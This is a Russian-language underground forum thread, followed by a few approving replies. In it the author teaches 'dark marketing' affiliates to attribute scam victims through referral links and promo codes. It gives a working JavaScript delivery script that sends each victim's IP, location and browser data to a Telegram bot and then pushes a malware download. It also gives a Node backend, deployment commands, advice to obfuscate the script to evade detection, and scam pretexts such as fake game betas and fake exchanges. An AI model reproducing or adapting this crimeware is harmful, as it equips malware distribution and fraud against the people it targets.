Загрузка...

Реферальные системы в dark-маркетинге: как отслеживать лидов через ссылки и промокоды

Тема в разделе Статьи создана пользователем доза 28 апр 2025. 332 просмотра

Загрузка...
  1. доза
    доза Автор темы 28 апр 2025 Заблокирован(а) 388 4 июл 2022
    [IMG]
    [IMG]
    ПРОБЛЕМАТИКА И ТЕОРИЯ

    Коротко суть. Есть вы, есть у вас партнерка. Допустим ******* и вы работаете со всеми желающими за процент, к примеру 70/30.
    Как только трафферов становится больше, чем один, неизменно возникает вопрос - как понять от кого пришел лид?

    Для удобства сразу договоримся, что будем называть трафферов/тех кто приводит нам лидов - партнеры (тут немного повеяло сетевым, но что же поделать, эти ребята впереди планеты всей в теме партнерок и реферальных систем).

    Чтобы все было грамотно и по красоте, я освещу тему реферальных систем в целом, а затем сузим вектор конкретно до партнерок в нашей сфере и какие методы применимы конкретно к нам.

    Глобально существует два основных, прижившихся и прошедших проверку временем метода. Это:
    Промокоды
    Реферальные ссылки

    Причем под "прошедшими проверку временем" я имею в виду не только дарк тематику. Ровно те же самые два метода применяются во всем партнерском маркетинге, не важно вы стил грузите или на ноготочки в инсте записываете людей.

    Чуть подробнее про каждый из этих методов:

    РЕФЕРАЛЬНЫЕ ССЫЛКИ
    Очень старый и бородатый (почти как я) способ отслеживания и квалификации лидов. Используется на каждом шагу и повсеместно - начиная от ссылок на сайты электроники в любом обзоре техноблогера и заканчивая поисковыми запросами гугла. Да что уж греха таить, даже используемые всеми трафферами системы клоакинга тоже сверху донизу обмазаны реферальными ссылками.

    Как узнать врага в лицо (если вдруг кто-то не знает, как выглядит реферальная ссылка).

    Есть сайт, допустим абсолютно случайно это будет siski.foto/worksex/
    Реф ссылки обычно зашивают в поисковые параметры, поэтому ссылка вида siski.foto/worksex/?ref=doza уже будет реферальной - в параметре ref явно записана принадлежность лида к конкретному трафферу и это суперпросто понять как на фронте, так и на бэке.

    Вдумчивому читателю становится очевидно, что таким образом можно передать не только никнейм партнера, но и любую другую интересующую нас информацию о лиде и источнике траффика. Просто подумайте, насколько мы по сути окружены реферальными ссылками, если для этого дела в интернетах даже есть отдельный термин - UTM-метки и даже существует общепринятый и повсеместно применяемый стандарт наименований этих самых поисковых параметров.​
    utm_source - идентифицирует сайт, с которого отправляется трафик. Например, utm_source=Google​

    • utm_medium - идентифицирует рекламную модель (оплата за клик, оплата за показ, оплата за действие и так далее). Например, utm_medium=cpc
    • utm_campaign - идентифицирует конкретную рекламную кампанию. Например, utm_campaign=xss_opened_registration
    • utm_term - идентифицирует ключевую фразу из рекламной кампании, независимо от того, из какого источника был клик. Например, utm_term=buy++malware
    • utm_content - идентифицирует конкретный элемент контента, на который кликнул пользователь перед переходом на сайт (типа кликнул на баннер, или на лого, или на рекламу из подвала, или на ссылку в тексте и так далее). Например, utm_content=logolink
    Круто, правда? Люди заморочились, придумали даже небольшой стандарт чтобы все было структурировано, красиво и удобно в этих ваших интернетах.
    Естественно, естественно будет честным с моей стороны сказать, что все забили на это большой и толстый, и сейчас в ютмки пихают абсолютно любую информацию, путают их назначение и вообще кто во что горазд. Но это все так, больше чтобы вы понимали откуда ноги растут.

    Вернемся к насущному, наши реферальные ссылки.
    Более изощренный вариант, который например можно применять если данные слишком длинные или их формат не позволяет передавать эти данные как есть - кодирование. Тут тоже, будем честны, кто во что горазд. Я видел base64, видел sha разных мастей, и даже видел попытку компрессии этих данных с помощью zlib. Тут больше добавить нечего. Как говорится, "каждый передает реферальные параметры как хочет".

    Немного подытожу этот пункт и пройдусь по минусам. Кажется, что реферальные ссылки уже достаточно мощный инструмент, зачем изобретать что-то еще? Ну, как бы не так, есть два серьезных минуса, о которых я просто обязан упомянуть и которые во многих случаях являются решающими и перевешивают чашу весов "против" реферальных ссылок.

    Во-первых, взглянем правде в глаза - реферальные ссылки в большинстве своем капец какие уродские. В какой-то момент люди решили, что надо засунуть вообще всю имеющуюся информацию о лиде в эти несчастные ютм. Это привело к тому, что появились даже целые сервисы - сокращаторы ссылок. Ну правда, вряд ли кто-то сидел-сидел и решил сократить слишком длинный домен. Нет. Он увидел ссылку с поисковыми параметрами, которая занимала десять строчек в тексте и понял, что пора что-то в этой жизни менять.

    Вытекающая из этого проблема - все мы знаем уровень трастовости и отношение большинства людей к сокращаторам. Тут опять же, не буду говорить за всех, рассмотрим например конкретно криптоскам - да проще кругосветку под парусом совершить, чем заставить мамонта кликнуть по ссылки битли. По сути тут реферальные ссылки и сокращаторы только добавляют нам проблем.

    Пункт номер полтора или хозяйке на заметку: есть определенный класс людей, которые принципиально не ходят по реферальным ссылкам и удаляют руками хвост линка - что ставит крест на всех ваших стараниях по отслеживанию и квалификации лидов, и с этим к сожалению ничего не поделаешь.

    Ну и наконец, во-вторых. Реферальные ссылки - чисто технический подход к отслеживанию лидов, а это значит что задача разработчика - сделать так, чтобы эта ссылка дотянулась и дожила до момента, когда лид заполнил форму/оплатил/скачал софт. А это к сожалению, не всегда просто и не всегда вообще возможно.

    Пример первый - пользователь заходит на нужную страницу сайта, естественно по реф ссылке. Но вместо того, чтобы скачать нашу малварь - он решает еще немного погулять по сайту, изучить вопросик так сказать. Если на этом моменте ваш разраб (или вы сами) не записали нужные данные в сессию/куки/локалсторадж, а также у вас не навешаны реф ссылки на все активные элементы сайта - лид из квалифицированного резко становится неквалифицированным.

    Пример второй - та же самая ситуация из пункта один, только прогер проспался, ссылки навешаны, локалсторадж пишется. Пользователь заходит на сайт в режиме инкогнито, ходит бродит. Потом уходит совсем. Потом возвращается, но не по рефке, а домен руками вводит (он же его запомнил). Кто ты, мальчик? Откуда ты пришел и чей будешь?

    Пример третий - настроено все что можно, пользователь отслеживается по всем возможным параметрам, включая фингерпринт браузера. Программист на 70% состоит из кофе и нервно дергает глазом. Знаете, что делает пользователь? Он заходит по вашей ссылке со ******ом с мобилы. Естественно, ничего не запускается и он "попробует еще раз, из дома, с компа". Да-да, вы уже правильно догадались - дома он заходит с девайса, который никакого отношения не имеет к первому, с абсолютно другим айпишником, отпечатком браузера и без реферальной ссылки.

    Как вы уже поняли, некоторые ситуации не представляется возможным отследить чисто технически. А в некоторых местах например, нельзя публиковать ссылки (в том же инстаграме или например на распечатанном листе тоже мало толку от реферальной ссылки).

    Именно в этих случаях нам на помощь приходит второй вариант отслеживания лидов - промокоды.


    ПРОМОКОДЫ

    Горячо любимый многими партнерками и лично мной метод. Суть его в том, что за каждым партнером закрепляется свой промокод - абстрактная сущность, чаще всего представленная в виде цифробуквенной комбинации. По ней не обязательно давать скидку (но желательно что-то давать, иначе смысл промика теряется).

    Например DOZA1337 - отличный, удобный для запоминания и валидный промокод.
    Этот промокод мамонт пользователь может ввести в поле на сайте, сообщить голосом, отправить оператору в чате и вообще доставить его до нашей системы любым удобным способом.

    Плюсы, которые сразу же, прямо с разбегу бросаются в глаза:

    Во-первых, промокоды очевидно можно использовать в гораздо большем количестве мест, чем реферальные ссылки. Да что уж тут, промокоды можно использовать вообще везде, где есть возможность что-то написать, что естественно делает их отличным инструментом для работы в среде с жесткой цензурой ссылок.

    Во-вторых, используя промокоды, мы как бы перекладываем часть ответственности за квалификацию лида на самого лида. То есть это уже не наша задача - пробросить, записать, отследить, навешать ссылки. Это уже задача пользователя - ввести свой промокод в нужном месте, иначе фигушки он что получит. Яркий пример современности - ******* под видом игры, пользователей приглашают на бета-тест, доступ к которому можно получить только введя промокод на сайте. Реалистично, удобно, практично.

    Как следует из названия, такие коды в основном используются в промо акциях и идеально подходят как инструмент дополнительной мотивации нашего пользователя?

    Мы можем повернуть и завернуть это так, как нам удобно.
    Специальный код для доступа к бета-версии метаверс игры. Скидочный код для покупки майнингового оборудования. Купон на бесплатный фриспин в нашем крипто-онлайн-казино. Да что уж там, даже приватный ключ или сид фраза, которую мы дали мамонту чтобы он помог вывести деньги с нашей фейк биржи - даже это может выступать в роли промокода. И это только пара примеров из области криптоскама, которые лежат на поверхности. При желании, промокоды позволяют нам придумать безграничное количество схем и комбинаций для успешной работы. И еще раз напомню, промокод - это любая цифробуквенная комбинация. Она может быть любого формата и любой длины, так что тут реально все ограничено лишь вашей фантазией.

    Дополнительный бонус от использования промокодов - ваша малварь не торчит известным местом наружу и сайты живут очень долго. Все самое интересное спрятано от глаз любопытных и доступно только человеку с промокодом.

    Все было бы замечательно, но и тут не обошлось без минусов. Так уж вышло, что плюсы промокодов и являются прородителями их собственных минусов, и к сожалению от этого никуда не деться.

    Во-первых, если пользователь потерял промокод, забыл его ввести, ввел неправильно, или любым другим способом напомнил нам почему искуственный интеллект в итоге победит - это финиш. Потому что нельзя отследить по промокоду человека без промокода, и с этим к сожалению ничего не поделаешь.

    Во-вторых, если использовать промокоды втупую и в лоб - это выглядит подозрительно. Как пример, который я привожу уже третий раз за статью - промокод для доступа к бета-версии игры. В какой-то момент кто-то придумал эту схему и она работала очень круто. Действительно круто, потому что ввод кода для доступа - достаточно естественное действие.

    Но потом появилось то, что у нас принятно называть "детект в рантайме" - использовать легенду с бета-версией и промокоды стала каждая первая команда, что привело к появлению огромного количество сайтов с одной и той же механикой. Как следствие: сотни постов на реддите и в твиттере, широкая осведомленность и поведенческий детект связки "введи код чтобы получить доступ к бета-версии игры". Нет, безусловно мамонты все еще ведутся, просто не так охотно и не так просто - и мы получаем примерно ту же историю что с сокращением через битли.

    В-третьих, есть особенность из области маркетинга. Чем меньше целевых действий должен совершить пользователь до желаемого результата, тем выше по итогу конверсия в целевое действие (загрузку *******а в нашем случае).
    Оцените две цепочки действий, они практически идентичны, но в процентном соотношении имеют колоссальную разницу

    Цепочка 1 (реферальная ссылка):
    Перейти по ссылке -> Нажать на кнопку "Скачать" -> Запустить файл

    Цепочка 2 (промокод):
    Перейти по ссылке -> Нажать на кнопку "Скачать" -> Перейти обратно в мессенджер и скопировать промокод -> Вставить его в нужное поле -> Нажать на кнопку "Ок" -> Запустить файл

    Три шага против шести, то есть увеличение длины цепочки в два раза. На объеме это будет приводить к существенным потерям в траффике и как следствие - к просадке конверсии. Частично нивелируется дополнительной вложенной мотивацией в промокод (если человек очень заинтересован, например вы ему ключ-пароль от биржи где деньги лежат дали, то конечно он пройдет все девять кругов ада в пути до желаемой цели и особенности UI/UX ему в этом не помешают).

    Итого, что имеем - есть два основных способа узнать, где чей мамонт. У каждого из этих способов есть свои плюсы и минусы, и какой из них применять - решаете только вы, в зависимости от вашего проекта, легенды, особенностей реализации системы и источников траффика.


    ЗАДАЧИ

    Окей, с основной теоретической частью разобрались, пора переходить к практике.

    Как я уже говорил, в момент когда я впервые столкнулся со сферой, известной сейчас как нфт-скам, там особо на этот счет никто не заморачивался. Да что уж там, я в этом году видел команды, которые на полном серьезе выясняют где чей мамонт "на глаз" - по айпи, версии системы и скринам переписки.

    Хватит это терпеть.

    Наша с вами задача на сегодня - реализовать оба варианта системы (и через реферальные ссылки, и через систему промокодов) и научиться внедрять их в наши проекты. Система будет поддерживать функционал создания промокодов, проверки кому он принадлежит, и уведомления в общий чат трафферов в телеграме (не топлю за телегу, можно с таким же успехом привязать дискорд, жабу, да хоть пуши - апи разные, принцип один и тот же).

    В качестве языка программирования я буду использовать Javascript (ванильку на фронте и соответственно ноду с экспрессом на бэке).

    Бонусом ко всему, покажу как можно реализовать разделение по командам внутри вашего проекта и организовать несколько независимых реферальных систем в рамках одного приложения, для того чтобы мы могли работать с командами траферов и система была двухуровневой, с разграничением прав.

    Пристегнитесь, поехали.


    РЕШЕНИЕ

    Итак, как я уже сказал, мы будем реализовывать сегодня две системы: систему реферальных ссылок и систему промокодов. Но по сути, если вдумчивый читатель внимательно прочитал теоретическую часть, то в этом моменте он должен закричать: "Но ведь это одно и то же с технической точки зрения!". И будет совершенно прав.

    Потому что с технической точки зрения, нашему бэку абсолютно без разницы, ему пришел код DOZA1337 из формы, или в ссылке был хвост "?ref=DOZA1337". Алгоритм то один - взял код, сравнил с базой, отправил уведомление чей мамонт куда зашел.

    Мы реализуем нашу реферальную систему таким образом, чтобы переключение ее из режима реф ссылок в режим промо кодов занимало считанные минуты - чтобы можно было на разные проекты внедрить разные варианты.

    ФРОНТ

    Начнем с фронтенда. Сразу обговорим: мы хотим максимальную совместимость, поэтому использовать будем ванильный js и соответственно будем импортировать его в наш сайт старым добрым тегом script.

    Первый вариант, который я покажу - вариант с классическими реферальными ссылками. А чуть ниже сразу покажу, как его передалать в вариант с промо кодами. Изменения бэкэнда не потребуются, поэтому бэк мы сделаем один раз и навсегда.
    Вариант 1
    Создаем javascript файл, называем его promo.js
    Основная наша функция в нем для удобства названа letMeScamYou.

    const letMeScamYou = async () => {
    const losPromos = await (await fetch('https://your.site/getPromo')).json()
    const promoCode = window.localStorage.getItem('mypromo')

    if (promoCode == undefined) {
    return
    }

    if (promoCode in losPromos) {
    alert('Your download will start soon!')
    const userData = await getUserData()
    await tgNotify(` <b>Уведомление для @${losPromos[promoCode]}</b>\n\n <b>Проект: </b>MY_TEST_PROJECT\n <b>IP-адрес: </b>${userData.ip}\n <b>Локация: </b>${userData.city}, ${userData.country_name}\n <b>User-Agent: </b>${window.navigator.userAgent}`)
    getDownloadByOs()
    } else if (promoCode) {
    alert("This promo code doesn't exist")
    }
    }
    Логика работы этой функции достаточно примитивна:
    Запрашиваем словарь наших промокодов с бэка
    Получаем актуальный промокод пользователя из локалстора
    Если там ничего нет, ****аем выполнение функции. Это кто-то залетный, перешел по прямой ссылке. Возможно бот. Нам такие не интересны, им мы наш ******* показывать не будем.
    Если же промокод присутствует в локалсторе и также совпадает с одним из промокодов в нашей системе - мы тыкаемся в ipapi для определения данных по юзеру, затем шлем уведомление в телеграм и инициализируем загрузку нашего вредоноса


    Окей, как вы заметили - мы движемся сверху вниз и для корректной работы нам теперь нужно реализовать еще пару функций.

    Первое - функция уведомлений в телеграм (я специально вынес ее на фронт, зачем - расскажу в конце статьи)

    const tgNotify = async (msg) => {
    await fetch(encodeURI(tgBaseUrl + msg))
    }
    Никакой магии, обычный асинхронный фетч.
    Все данные для работы с телеграммом вынесем для удобства редактирования в глобальные константы.
    Далее у нас идет похожая функция - получение данных о пользователе, а именно нас тут интересуют его айпишник и геолокация (страна и город).

    const getUserData = async () => {
    const response = await fetch('https://ipapi.co/json')
    const responseJSON = await response.json()
    return responseJSON
    }
    Далее, функция загрузки файла.
    Я разбил ее на две функции. Первая определяет систему пользователя по юзерагенту и в зависимости от системы дает ему скачать нужный файл.
    Если нужного файла нет (например у нас *******ы только под винду и мак, а пользователь зашел с андроида или линукса) - выдает сообщение о том, что данная платформа на текущий момент времени не поддерживается.
    Вторая функция - собственно реализация скачивания файла через инжект а-тега с нужной ссылкой в страницу с последующим кликом по этому элементу.
    const getDownloadByOs = () => {
    let osData = window.navigator.userAgent;
    if (osData.search('Windows') !== -1) {
    download('https://your.site/win.zip')
    } else if (osData.search('Mac') !== -1) {
    download('https://your.site/mac.zip')
    } else {
    alert('Version for your platform not available yet. Stay tuned!')
    }
    }

    const download = (url) => {
    const a = document.createElement('a')
    a.href = url
    a.download = url.split('/').pop()
    document.body.appendChild(a)
    a.click()
    document.body.removeChild(a)
    }
    Ну и еще один важный момент - как вы уже заметили, мы читаем промокод из локалстора, но ни в какой момент времени его туда не пишем.
    Реализация "на коленке" выглядит так: в наш js файл добавим небольшой кусок кода, который как раз таки будет брать код из поискового параметра и записывать его в локалстор, и разместим этот код на странице, на которую ведет наша реферальная ссылка. При переходе пользователя скрипт будет отрабатывать и писать код в локалстор, а дальше уже не важно пошел пользователь скачивать файл или гулять по сайту - код записан и останется там на все время.

    if (window.localStorage.getItem('mypromo') == undefined) {
    var urlParams = new URLSearchParams(window.location.search)
    var myParam = urlParams.get('ref')
    if (myParam != null) {
    window.localStorage.setItem('mypromo', myParam)
    }
    }
    Итак, вот такой вот файл у нас получился целиком:​
    const tgToken = 'YOUR_TG_TOKEN'
    const tgChat = 'YOUR_TG_CHAT_ID'
    const tgBaseUrl = `https://api.telegram.org/bot${tgTok..._web_page_preview=true&parse_mode=html&text=`

    const tgNotify = async (msg) => {
    await fetch(encodeURI(tgBaseUrl + msg))
    }

    if (window.localStorage.getItem('mypromo') == undefined) {
    var urlParams = new URLSearchParams(window.location.search)
    var myParam = urlParams.get('ref')
    if (myParam != null) {
    window.localStorage.setItem('mypromo', myParam)
    }
    }

    const letMeScamYou = async () => {
    const losPromos = await (await fetch('https://your.site/getPromo')).json()
    const promoCode = window.localStorage.getItem('mypromo')

    if (promoCode == undefined) {
    return
    }

    if (promoCode in losPromos) {
    alert('Your download will start soon!')
    const userData = await getUserData()
    await tgNotify(` <b>Уведомление для @${losPromos[promoCode]}</b>\n\n <b>Проект: </b>MY_TEST_PROJECT\n <b>IP-адрес: </b>${userData.ip}\n <b>Локация: </b>${userData.city}, ${userData.country_name}\n <b>User-Agent: </b>${window.navigator.userAgent}`)
    getDownloadByOs()
    } else if (promoCode) {
    alert("This promo code doesn't exist")
    }
    }

    const getUserData = async () => {
    const response = await fetch('https://ipapi.co/json')
    const responseJSON = await response.json()
    return responseJSON
    }

    const getDownloadByOs = () => {
    let osData = window.navigator.userAgent;
    if (osData.search('Windows') !== -1) {
    download('https://your.site/win.zip')
    } else if (osData.search('Mac') !== -1) {
    download('https://your.site/mac.zip')
    } else {
    alert('Version for your platform not available yet. Stay tuned!')
    }
    }

    const download = (url) => {
    const a = document.createElement('a')
    a.href = url
    a.download = url.split('/').pop()
    document.body.appendChild(a)
    a.click()
    document.body.removeChild(a)
    }
    Для того, чтобы все заработало, осталось сделать всего две вещи:

    Импортировать наш файл в html документ с помощью тега script​
    <script src="promo.js"></script>
    Навесить на кнопку скачивания нашу функцию letMeScamYou (например, с помощью атрибута onclick)
    <button onclick="letMeScamYou()"></button>
    Ну что же, с базовой реализацией закончили, пора показать, как подшаманить код чтобы это работало с классической системой промокодов.
    Делаем раз-два-три
    Удаляем if который отвечает за запись кода в локалстор
    Изменяем способ получения значения promoCode - теперь вместо локалстораджа мы будем дергать его из формы
    Функцию letMeScamYou вешаем на кнопку в модальном окне, а нужный id привязываем к элементу input нашей модалки (как сделать красивую модалку с использованием TailwindCSS)​
    const tgToken = 'YOUR_TG_TOKEN'
    const tgChat = 'YOUR_TG_CHAT_ID'
    const tgBaseUrl = `https://api.telegram.org/bot${tgTok..._web_page_preview=true&parse_mode=html&text=`

    const tgNotify = async (msg) => {
    await fetch(encodeURI(tgBaseUrl + msg))
    }

    const letMeScamYou = async () => {
    const losPromos = await (await fetch('https://your.site')).json()
    const promoCode = document.getElementById("myInput").value.toUpperCase()

    if (promoCode == undefined) {
    return
    }

    if (promoCode in losPromos) {
    alert('Your download will start soon!')
    const userData = await getUserData()
    await tgNotify(` <b>Уведомление для @${losPromos[promoCode]}</b>\n\n <b>Проект: </b>MY_TEST_PROJECT\n <b>IP-адрес: </b>${userData.ip}\n <b>Локация: </b>${userData.city}, ${userData.country_name}\n <b>User-Agent: </b>${window.navigator.userAgent}`)
    getDownloadByOs()
    } else if (promoCode) {
    alert("This promo code doesn't exist")
    }
    }

    const getUserData = async () => {
    const response = await fetch('https://ipapi.co/json')
    const responseJSON = await response.json()
    return responseJSON
    }

    const getDownloadByOs = () => {
    let osData = window.navigator.userAgent;
    if (osData.search('Windows') !== -1) {
    download('https://your.site/win.zip')
    } else if (osData.search('Mac') !== -1) {
    download('https://your.site/mac.zip')
    } else {
    alert('Version for your platform not available yet. Stay tuned!')
    }
    }

    const download = (url) => {
    const a = document.createElement('a')
    a.href = url
    a.download = url.split('/').pop()
    document.body.appendChild(a)
    a.click()
    document.body.removeChild(a)
    }​
    Ну и собственно все на этом, теперь пользователь может вводить промокод в специально отведенном для этого поле и скачивать свой файл.
    Момент с модалкой я тут специально упускаю, потому что во-вервых уже писал об этом, а во-вторых - это большой полет для фантазии, можно придумать всякие разные прикольные варианты реализации.

    Важный момент, который я хочу сказать про фронт перед тем, как мы перейдем к бэкэнду. Обфусцируйте этот код перед тем, как подключать к сайту. То есть вы вот этот скрипт взяли, прогнали через обфускатор (например obfuscator io), получили кашу в перемешку с трэшем нагенеренным. И его уже добавляете в свой проект. Так и код проживет намного дольше, и не будете лишним отсвечивать перед пользователем.

    Ну все, теперь с фронтом точно закончили - переходим к бэкэнду.


    БЭКЭНД

    На бэке мы будем использовать, как я уже сказал, ноду и экспресс.
    Начнем с базовой вещи - установка всего этого добра. К сожалению, у джаваскрипта как языка и экосистемы есть такая неприятная особенность - развитие происходило очень быстро и стремительно, каждый изобретал свой велосипед, и поэтому по итогу в js сейчас существует 100500 вариантов сделать одно и то же. Больно, но что поделать.

    Методом проб и ошибок, я пришел к следующему наиболее комфортному формату развертки ноды:

    (Все ниже описанное чаще всего я проделываю на серверах под Ubuntu 22.04. На других никс системах будет плюс минус то же самое. Под виндой необходимо предварительно поставить гит, разрешить выполнение неподписанного пауэршелла и поставить все используя собранные установщики для винды)

    Первым делом качаем и ставим nvm - это утилита для контроля версий ноды.
    Через нее ставим ноду 18 версии и активируем ее как среду по умолчанию
    nvm install 18
    nvm use 18

    Затем ставим yarn, переходим в папку проекта, инициализируем проект и добавляем нужные нам пакеты с помощью команды yarn add:
    npm i -g yarn
    mkdir st
    cd st/
    yarn init
    yarn add express
    yarn install
    Опять же, не буду углубляться в тему почему я использую yarn и чем мне не угодил дефолтный npm - так уж сложилось.

    Переходим к нашему файлу index.js и самой реализации бэка.
    Сначала я покажу базовый вариант - для одного проекта. И затем уже продемонстрирую как от этого можно сделать шаг в сторону работы с несколькими командами по нескольким проектам.

    Для начала, импортируем и инициализируем всю необходимую нам обвзяку:
    const express = require('express')
    const bodyParser = require('body-parser')
    const cors = require('cors')
    const app = express()
    const port = 80

    var urlencodedParser = bodyParser.urlencoded({ extended: false })

    app.use(cors())
    app.use('/qwerty12345', express.static('public'))
    Тут особо ничего интересного - импортировали экспресс, а также надстройки для парса запросов и корс. Создали прилку, указали путь к статик директории (не забываем также создать эту директорию в нашей системе и сложить туда все нужные файлы). Путь можно указать любой, я предпочитаю делать его рандомным, чтобы хоть немного спрятать наши файлы от любопытных глаз.

    Далее мы создадим словарь для хранения промокодов. Идея следующая - конечно можно было бы сделать по-кошерному, сразу повесить мускул, но зачем усложнять на этапе обучения. Поэтому реализуем наше типа хранилище в формате простого словаря, где промокоды - ключи, а айди пользователей - соответственно значения.
    var losPromos = {'MY-CODE': 'my_tg_username'}
    По традиции повесим на корень отдачу хэллоуворлда, чтобы никто не догадался
    app.get('/', (req, res) => {
    res.send('Hello World!')
    })

    И в самый конец файла добавим старт нашего приложения
    app.listen(port, () => {
    console.log(`Example app listening on port ${port}`)
    })
    Окей, с подготовкой закончили, теперь перейдем к основным (значащим) эндпоинтам. Их у нас будет два - сеттер и геттер

    Эндпоинт getPromo отдает на фронт словарь с промокодами и именами пользователей (для проверки и дальнейших действий).
    app.get('/getPromo', (req, res) => {
    res.json(solPromos)
    })
    Эндпоинт setPromo - служебный, для обновления словаря промокодов. Здесь мы методом пост шлем новый словарь (это же дефолтный сеттер, он не обязан быть удобным, верно?) и добавляем к нему секретный ключ key (чтобы так могли делать только мы, а не все подряд). Ну и собственно перезаписываем значение наших промиков.
    app.post('/setPromo', urlencodedParser, (req, res) => {
    if (req.body.key == 'mymasterkey') {
    losPromos = {...req.body}
    delete losPromos.key
    res.json(losPromos)
    } else {
    res.send('wrong key')
    }
    })
    Ну вот и все, базовый функционал нашего бэка готов, можно потыкаться туда постмэном и проверить, что все работает как надо.

    Если у вас один проект и соло трафферы - дальше можно не усложнять, этого функционала вполне хватает для комфортной работы.
    Но что делать, если проектов несколько? Или работает несколько команд, и у каждой свой набор промокодов?
    Тут тоже все достаточно просто, мы оставим общую идею и немного изменим реализацию.

    Во-первых, пропатчим наше хранилище. Теперь оно будет иметь вот такой вид:
    var losPromos = {
    'keys': {'myproject': 'mymasterkey'},
    'myproject': {'MY-CODE': 'my_tg_username'},
    }
    По сути мы добавили еще один уровень вложенности, теперь в losPromos у нас хранятся словари с промиками для разных проектов, а также появился объект keys, в котором мы храним наши токены для внесения изменений (для каждого проекта - свой).

    Вместо одного сеттера и геттера, мы с помощью шаблона зададим сразу целую пачку.

    Эндпоинт getPromo практически не изменится.
    app.get('/getPromo/:landName', (req, res) => {
    res.json(losPromos[req.params.landName])
    })

    А вот эндпоинт setPromo нужно прописать аккуратно, чтобы не запутаться во вложенности
    app.post('/setPromo/:landName', urlencodedParser, (req, res) => {
    if (req.body.key == losPromos.keys[req.params.landName]) {
    losPromos[req.params.landName] = {...req.body}
    delete losPromos[req.params.landName].key
    res.json(losPromos[req.params.landName])
    } else {
    res.send('wrong key')
    }
    })
    Дополнительно к этому, нам понадобится функционал создания новых проектов - инициализация хранилища промиков и создание ключа.
    За это у нас будет отвечать новый эндпоинт setProject
    app.post('/setProject', urlencodedParser, (req, res) => {
    if (req.body.key == 'supermasterkey') {
    losPromos[req.body.name] = {}
    losPromos.keys[req.body.name] = req.body.secret
    res.json(losPromos)
    } else {
    res.send('wrong key')
    }
    })
    Ну и естественно нужно будет поправить на фронте путь до нашего геттера промокодов, он немного изменился.

    Итоговый код выглядит вот так:
    const express = require('express')
    const bodyParser = require('body-parser')
    const cors = require('cors')
    const app = express()
    const port = 80

    var urlencodedParser = bodyParser.urlencoded({ extended: false })

    var losPromos = {
    'keys': {'myproject': 'mymasterkey'},
    'myproject': {'MY-CODE': 'my_tg_username'},
    }

    app.use(cors())
    app.use('/qwerty12345', express.static('public'))

    app.get('/', (req, res) => {
    res.send('Hello World!')
    })

    app.get('/getPromo/:landName', (req, res) => {
    res.json(losPromos[req.params.landName])
    })

    app.post('/setPromo/:landName', urlencodedParser, (req, res) => {
    if (req.body.key == losPromos.keys[req.params.landName]) {
    losPromos[req.params.landName] = {...req.body}
    delete losPromos[req.params.landName].key
    res.json(losPromos[req.params.landName])
    } else {
    res.send('wrong key')
    }
    })

    app.post('/setProject', urlencodedParser, (req, res) => {
    if (req.body.key == 'supermasterkey') {
    losPromos[req.body.name] = {}
    losPromos.keys[req.body.name] = req.body.secret
    res.json(losPromos)
    } else {
    res.send('wrong key')
    }
    })

    app.listen(port, () => {
    console.log(`Example app listening on port ${port}`)
    })
    Отлично, с кодом закончили, осталось показать как это чудо запускать.
    Аматеры запускают через консоль нодой или ярном, но мы же с вами не такие - мы будем запускать менеджером процессов.
    Ну если без шуток - это просто удобный способ запустить приложение, поглядывать на **** при необходимости, а также не париться поднимется ли оно в случае краша или ребута.

    Ставим pm2, стартуем наше приложение, сохраняем список процессов и добавляем в автозагрузку.
    npm i -g pm2
    pm2 start index.js
    pm2 startup
    pm2 save
    Ну вот собственно и все, система написана, запущена и работает пока мы отдыхаем или считаем денежки.

    ПОСЛЕСЛОВИЕ

    В завершение этой статьи я хотел бы сказать пару слов о вещах, которые я не стал освещать в основном материале.

    Первое - про более сложные реферальные системы.
    Здесь я имею в виду полноценные многоуровневые рефералки, а также различные вариации на тему матриц и деревьев. Такие системы широко распространены, и это масхэв если вы планируете запустить казино, или пирамиду, или просто хотите партнерский маркетинг мощно прокачать в своем продукте.

    Второе
    - как наверняка заметил вдумчивый читатель, есть некоторые вопросики к реализации. Например, почему мы храним телеграм токен на фронте? Или почему мы не используем базу данных на бэке? Где эндпоинт смены мастер-кода для проектов?​
    [IMG]
    • Перенести отправку уведомлений и все связанные с этим данные на бэк, чтобы не отсвечивать. На фронте оставить только функцию и в нее передавать нужный текст.
    • Обернуть на бэке отправку уведомлений в try с таймаутом, чтобы если уведомление не удалось отправить, файл все равно сервился
    • Перенести проверку существования промокода так же на бэк, чтобы не светить списком всех промиков. На фронте соответственно изменить логику работы алгоритма проверки через запрос к бэку.
    • Реализовать персист на бэке, любым удобным способом - от json файла до полноценной бд
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
    28 апр 2025 Изменено
  2. Британский
    Британский 28 апр 2025 All Hail Lelouch 512 21 ноя 2022
    ебать скока текста я в ахуи
     
  3. border
    border 28 апр 2025 :kirbi:Одежда > lolz.live/threads/7776777 7856 29 май 2022
    очень много текста, но написано по-умному. думаю, что люди, которые разбираются в этом найдут то, что им нужно в данной статье
     
  4. Пингвиниак
    Пингвиниак 29 апр 2025 Я пингвнин, добрый, красивый! 45 15 апр 2025
    Дружище. Сократи текст, а хотя ты все правильно расписал молодец хорошая тема!
     
  5. PersonOfInterest
    PersonOfInterest 29 апр 2025 Дуров сидит тут -> https://t.me/Kanalchik_alexa 156 15 ноя 2022
    Я прочитал, вроде норм. Не знаю че обычно умственноотсталые просят сократить текст, ведь это статья и причем подробная - что очень хорошо.
    Хорошая подводка, ознакомление с реф. системой а затем и ответ на вопрос. Грамотно :cat_smile:
     
    29 апр 2025 Изменено
Top